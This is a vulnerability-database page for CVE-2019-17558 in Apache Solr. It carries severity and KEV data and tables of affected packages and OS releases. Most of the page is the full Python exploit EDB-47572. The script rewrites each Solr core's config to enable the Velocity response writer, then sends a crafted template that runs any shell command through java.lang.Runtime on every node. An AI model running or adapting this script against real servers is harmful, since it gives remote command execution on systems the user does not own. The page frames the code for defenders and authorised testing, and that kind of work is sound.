CVE-2019-17558

unknown KEV
Published 2020-02-12 ยท Modified 2021-11-03
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

The Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.

CISA KEV

Vendor
Apache
Product
Solr
Due date
2022-05-03

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-47572 webapps java python ยท 7 KB
@l3x_wong ยท 2019-11-01

Apache Solr 8.2.0 - Remote Code Execution

python exploit Source: Exploit-DB
# Title: Apache Solr 8.2.0 - Remote Code Execution
# Date: 2019-11-01
# Author: @l3x_wong
# Vendor: https://lucene.apache.org/solr/
# Software Link: https://lucene.apache.org/solr/downloads.html
# CVE: N/A
# github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template

# usage: python3 script.py ip [port [command]]
#                default port=8983
#                default command=whoami
# note:
# Step1: Init Apache Solr Configuration
# Step2: Remote Exec in Every Solr Node

import sys
import json
import time
import requests


class initSolr(object):

    timestamp_s = str(time.time()).split('.')
    timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

    def get_nodes(self):
        payload = {
            '_': self.timestamp,
            'indexInfo': 'false',
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'

        try:
            nodes_info = requests.get(url, params=payload, timeout=5)
            node = list(nodes_info.json()['status'].keys())
            state = 1
        except:
            node = ''
            state = 0

        if node:
            return {
                'node': node,
                'state': state,
                'msg': 'Get Nodes Successfully'
            }
        else:
            return {
                'node': None,
                'state': state,
                'msg': 'Get Nodes Failed'
            }

    def get_system(self):
        payload = {
            '_': self.timestamp,
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
        try:
            system_info = requests.get(url=url, params=payload, timeout=5)
            os_name = system_info.json()['system']['name']
            os_uname = system_info.json()['system']['uname']
            os_version = system_info.json()['system']['version']
            state = 1

        except:
            os_name = ''
            os_uname = ''
            os_version = ''
            state = 0

        return {
            'system': {
                'name': os_name,
                'uname': os_uname,
                'version': os_version,
                'state': state
            }
        }


class apacheSolrRCE(object):

    def __init__(self, ip, port, node, command):
        self.ip = ip
        self.port = port
        self.node = node
        self.command = command
        self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node

    def init_node_config(self):
        url = self.url + '/config'
        payload = {
            'update-queryresponsewriter': {
                'startup': 'lazy',
                'name': 'velocity',
                'class': 'solr.VelocityResponseWriter',
                'template.base.dir': '',
                'solr.resource.loader.enabled': 'true',
                'params.resource.loader.enabled': 'true'
            }
        }
        try:
            res = requests.post(url=url, data=json.dumps(payload), timeout=5)
            if res.status_code == 200:
                return {
                    'init': 'Init node config successfully',
                    'state': 1
                }
            else:
                return {
                    'init': 'Init node config failed',
                    'state': 0
                }
        except:
            return {
                'init': 'Init node config failed',
                'state': 0
            }

    def rce(self):
        url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
                          "%23set($x=%27%27)+"
                          "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
                          "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
                          "%23set($str=$x.class.forName(%27java.lang.String%27))+"
                          "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
                          "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
                          "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        try:
            res = requests.get(url=url, timeout=5)
            if res.status_code == 200:
                try:
                    if res.json()['responseHeader']['status'] == '0':
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                    else:
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                except:
                    return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))

            else:
                return 'RCE failed @Apache Solr node %s\n' % self.node
        except:
            return 'RCE failed @Apache Solr node %s\n' % self.node


def check(ip, port='8983', command='whoami'):
    system = initSolr(ip=ip, port=port)
    if system.get_nodes()['state'] == 0:
        print('No Nodes Found. Remote Exec Failed!')
    else:
        nodes = system.get_nodes()['node']
        systeminfo = system.get_system()
        os_name = systeminfo['system']['name']
        os_version = systeminfo['system']['version']
        print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
              'you should change your command with right os platform\n' % (os_name, os_version))

        for node in nodes:
            res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
            init_node_config = res.init_node_config()
            if init_node_config['state'] == 1:
                print('Init node %s Successfully, exec command=%s' % (node, command))
                result = res.rce()
                print(result)
            else:
                print('Init node %s Failed, Remote Exec Failed\n' % node)


if __name__ == '__main__':
    usage = ('python3 script.py ip [port [command]]\n '
             '\t\tdefault port=8983\n '
             '\t\tdefault command=whoami')

    if len(sys.argv) == 4:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        check(ip=ip, port=port, command=command)
    elif len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        check(ip=ip, port=port)
    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        check(ip=ip)
    else:
        print('Usage: %s:\n' % usage)
EDB-48338 remote multiple verified
Metasploit ยท 2020-04-16

Apache Solr - Remote Code Execution via Velocity Template (Metasploit)

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Apache Solr Remote Code Execution via Velocity Template
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

debian Debian Affected 5 releases
VersionStatusFixed in
trixie Affected โ€”
sid Affected โ€”
forky Affected โ€”
bullseye Affected โ€”
bookworm Affected โ€”

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.apache.solr:solr-core>=5.0.0,<8.4.08.4.0
java Mavenorg.apache.solr:solr-core>=6.0.0,<8.4.08.4.0
java Mavenorg.apache.solr:solr-core>=7.0.0,<8.4.08.4.0
java Mavenorg.apache.solr:solr-core>=8.0.0,<8.4.08.4.0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.